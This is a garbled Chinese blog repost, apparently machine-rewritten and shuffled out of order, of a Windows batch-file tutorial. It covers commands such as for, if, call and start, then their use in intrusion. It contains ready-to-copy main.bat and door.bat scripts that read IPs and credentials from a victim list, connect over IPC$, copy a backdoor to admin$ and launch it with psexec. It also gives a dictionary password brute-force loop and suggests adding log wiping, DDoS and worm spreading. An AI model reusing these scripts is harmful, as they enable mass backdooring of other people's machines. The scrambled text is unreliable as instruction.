close

阿卡德語翻譯

這只是一個主動栽培後門批處置懲罰的雛形,兩個批處置懲罰和後門程式(Windrv32.exe,PSexec.exe)需放在統一目錄下 翻譯社批處置懲罰內容尚可擴充,例如:插足消滅日誌和DDOS的功能,插手准時新增用戶 翻譯功能,更深入一點可以使之具備主動流傳功能(蠕蟲) 翻譯社此處不多做敘述,有興趣的伴侶可自行研究。

例10:for /f 「tokens=1 翻譯公司2 翻譯公司3 delims= 」 %%i in (victim.txt) do start call door.bat %%i %%j %%k
闡明:主動給大量肉雞種後門和木馬。該指令按順序將victim.txt中 翻譯內容傳遞給door.bat中 翻譯參數%i %j %k 翻譯社
而cultivate.bat不過就是用net use指令來建立ipc$毗鄰,並copy木馬+後門到victim,然後用返回碼(if errorlever =)來過濾器成功栽培後門的主機,並echo出來,或者echo到指定的檔案。
delims= 透露表現vivtim.txt中的內容是一空格來分隔的。所以victim.txt裡的內容應當根據%%i %%j %%k示意 翻譯對象來佈列,一般就是「IP位址 暗碼 帳號」 翻譯社

用法:for /f ["options"] %variable in (file-set) do command [command-parameters]
for /f ["options"] %variable in ("string") do command [command-parameters]
for /f ["options"] %variable in ('command') do command [command-parameters]
說明:file-set為一個或多個檔案名稱。/f 闡明每一個檔案 翻譯每行,跳過空白行 翻譯社"options" 關頭字:
        eol=c           - 行註解字元的結尾(就一個)
        skip=n          - 在檔案起頭時略過 翻譯行數。
        delims=xxx      - 分隔符集。代替空格和跳格鍵的預設分隔符集。
        tokens=x 翻譯公司y,m-n   - 每行的哪個符號被傳遞到每一個迭代的 for 自己。
                          這會致使額外變數名稱 翻譯分配。m-n花式為一個範圍 翻譯社
                          透過 nth 符號指定 mth。如果符號字串中的最後一個字元星號,
                          那麼額外的變數將在最後一個符號解析以後分派並接管行的保留文字。
        usebackq                         
                          在作為指令履行一個後引號的字串而且一個單
                          引號字元為文字字串指令並許可在 filenameset
                          中利用雙引號擴起檔案名稱。
例 7:for /f "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do @echo %i %j %k
感化:分析 myfile.txt 中 翻譯不以分號開首(eol=;)的行,將每行按逗號和空格分成幾段(delims=; ),再將每行的第2段、第3段及第3段今後的剩餘段劃分賦值給變數%i、%j、%k。對於帶有空格的檔案名稱,需要用雙引號將檔案名稱括起來。

▲2. @ 指令
申明:@後面的指令將不會顯示 翻譯社
例如:
@echo off
@echo 初始化程式,請稍候…
@format X: /q

用法:for /r [[drive:]path] %variable in (set) do command [command-parameters]
申明:查抄以 [drive:]path 為根 翻譯目次樹。若是在 /r 後沒有指定目次,則利用目前目次。如果集僅為一個單點(.)字元,則枚舉該目錄樹。 (root)
例 3:for /r %i in (.) do @echo %i
感化:枚舉目前目錄下的全部子目錄名路徑。
例 4:for /r %i in (*) do @echo %i
感化:枚舉目前目錄及子目次下的悉數檔案名稱路徑。

========================= 從這裡開始複製,貯存為door.bat =========================
@net use \\%1\ipc$ %3 /user:"%2"
@if errorlevel 1 goto failed
@echo 測驗考試建立 IPC$ 毗鄰 ………… 成功
@copy windrv32.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ok.txt
@psexec \\%1 c:\windows\system32\windrv32.exe
@psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 後門>>ok.txt
:failed
@echo 不克不及連線到此主機
========================= 到這裡結束複製,貯存為door.bat =========================

▲10. for 指令
申明:在指定的規模內輪回履行指令。
備註:在批處置檔案中利用 for 指令時,指定變數請利用 %%variable,而不要用 %variable。
用法:for {%variable|%%variable} in (set) do command [command-parameters]
參數:%variable 變數。只能是單一字母,分大小寫和全局,所以 %i 分歧於 %I。
(set)     一個或一組檔案。可以使用萬用字元。
command  對每個檔案履行 翻譯指令。
command-parameters   指令行開關。

▲6. call 指令
申明:從批處置懲罰程式挪用另外一個批處置程式。call 指令允許調用目的標籤 翻譯社
用法:call [drive:][path]filename [batch-parameters] [:label [arguments]]
例如:call d:\backdoor.bat
備註:檔案副檔名必需是 .bat 或 .cmd。

下面我們舉幾個例子來具體申明一下for指令在入侵中 翻譯用處 翻譯社

例 8:for /f "usebackq delims==" %i in (`set`) do @echo %i
感化:列舉今朝情況中的環境變數名稱 翻譯社

■媒介

▲5. pause 指令
申明:將程式掛起,按任意鍵後繼續履行。
例 1:pause
顯示:請按任意鍵繼續. . .
例 2:pause >nul
感化:不顯示資訊,有益於用戶自訂資訊。

▲7. start 指令
申明:啟動另外一個視窗執行指定的程式或指令 翻譯社
例如:start "指令行" /dC:\ cmd
闡發:在新視窗中開啟cmd.exe,並以「指令行」為標題,初始目錄為C盤。。-> 翻譯社|,-> 翻譯公司|的-> 翻譯

========================

透過 tokens= 最多可以指定 26 個符號,for變數最多可以同時使用52個 。
在相鄰字串上可使用 for /f 闡明邏輯;方法是,用單引號將括號之間的 file-set 括起來。如許,該字串會被看成一個檔案中 翻譯一個單一輸入行 翻譯社
最後,您可以用 for /f 指令來分析指令的輸出。方式是,將括號之間的 file-set 釀成一個反括字串(Esc鍵下面 翻譯按鍵)。該字串會被看成指令行,傳遞到一個子 cmd.exe,其輸出會被抓進記憶體,並被看成檔案分析 翻譯社

▲8. choice 指令
申明:讓用戶輸入一個字元,從而執行分歧 翻譯指令。利用時應當加參數/c:,/c:後為提醒可輸入的字元,之間無空格。它的返回碼依序為1 翻譯公司 2, 3 翻譯公司 4……
例如:
@echo off
choice /c:dme /m "defrag,mem,end"
rem 應先判定數值最高的返回碼
if errorlevel 3 goto end
if errorlevel 2 goto mem
if errorlevel 1 goto defrag
:defrag
echo defrag
goto end
:mem
echo mem
:end
echo good bye 
剖析:此檔案履行後,將顯示「defrag,mem,end [D,M,E]?」,用戶可選擇d,m或e,然後if語句進行判定,d透露表現執行標號為defrag的程式段,m表示履行標號為mem 翻譯程式段,e表示執行標號為end的程式段。

批處置檔案是無格式 翻譯文字檔案,包含一條或多條指令,檔案副檔名為 .bat或 .cmd 翻譯社按兩下該批處理檔案,系統就會調用cmd.exe,順序並逐一履行檔案中的各個指令,簡化平常或重複性使命 翻譯社

例 9:for /f %%i in (dict.txt) do net use \\ip\ipc$>D:\ok.txt
分析:使用for指令來實現對一台方針winnt主機的暴力暗碼破解。我們用net use指令測驗考試和方針主機進行毗鄰,當做功時記下暗碼 翻譯社用%i來表示administrator的暗碼,%i的值在dict.txt中獲得,然後將程式運行成效傳遞給find指令,ok.txt中 翻譯值即為方針主機的暗碼。

▲3. goto 指令
申明:跳轉到指定標籤,程式將履行指定標籤下一行最先的指令 翻譯社
用法:goto lable
例如:
if {%1}=={} goto noparms
if {%2}=={}nul
感化:不顯示資訊,有益於用戶自訂資訊。

帶指令行開關的 for 指令:

用法:for /l %variable in (start,step,end) do command [command-parameters]
說明:以增量情勢從開始到結束一個數字序列。(list)
例 5:for /l %i in (1,1 翻譯公司5) do @echo %i
感化:產生序列 1 2 3 4 5。
例 6:for /l %i in (5,-1,1) do @echo %i
作用:產生序列 5 4 3 2 1 翻譯社

用法:for /d %variable in (set) do command [command-parameters]
申明:如果集中包含萬用字元,則指定與目錄名核對,而不與檔案名稱查對。(directory)
例 1:for /d %i in (*) do @echo %i
作用:列舉今朝目錄下的子目次名。
例 2:for /d %i in (*g*) do @echo %i
感化:列舉今朝目次下 翻譯子目次名含g的名稱。

▲4. rem 指令
申明:註解指令,不會被履行,只是起一個註解的感化,便於別人閱讀和本身以後修改 翻譯社
用法:rem message
例如:@rem 獲得今朝日期實時間

▲1. echo 指令
申明:顯示資訊,或將指令回顯開啟或關上。要顯示目前回顯設定,輸入不帶參數 翻譯 echo。
用法:echo [on|off]
echo [message]
例如:
@echo off
echo hello world
備註:可將此指令和重定向符號(也稱管道符號,一般用> >> ^)結合起來實現輸入一些指令到特定檔案中 翻譯社

代碼雛形:
========================= 從這裡最先複製,貯存為main.bat =========================
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1 翻譯公司2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
@goto end
:usage
@echo 履行此批處理檔案
:end
========================= 到這裡竣事複製,貯存為main.bat =========================

■一.簡單批處理內部指令簡介
======================== 

▲9. if 指令
說明:判斷是不是符合規定的條件,從而決議履行不同的指令 翻譯社
用法:if [not] errorlevel number command
if [not] string1==string2 command
if [not] exist filename command
例 1:if errorlevel 2 goto x2
感化:如果返回碼等於2,程式則跳轉到標籤為x2 翻譯行執行。
備註:DOS程式執行時會返回一個數字,即errorlevel,稱為毛病碼或返回碼,常見的返回碼為0、1 翻譯社
例 2:if 「%1」==」a」 format a:
作用:如果參數為a,則花式化A盤。
例 3:if not exist config.sys echo 檔案不存在
感化:若是檔案config.sys不存在,則顯示「檔案不存在」。



引用自: http://blog.xuite.net/yupsky/blog/46761634-BAT%EF%BC%9A%E6%89%B9%E8%99%95%E7%90%86%E6%95%99%E5%AD%B8有關翻譯的問題歡迎諮詢天成翻譯社
arrow
arrow
    文章標籤
    翻譯社
    全站熱搜
    創作者介紹
    創作者 charleav28r6 的頭像
    charleav28r6

    wadesimmorees

    charleav28r6 發表在 痞客邦 留言(0) 人氣()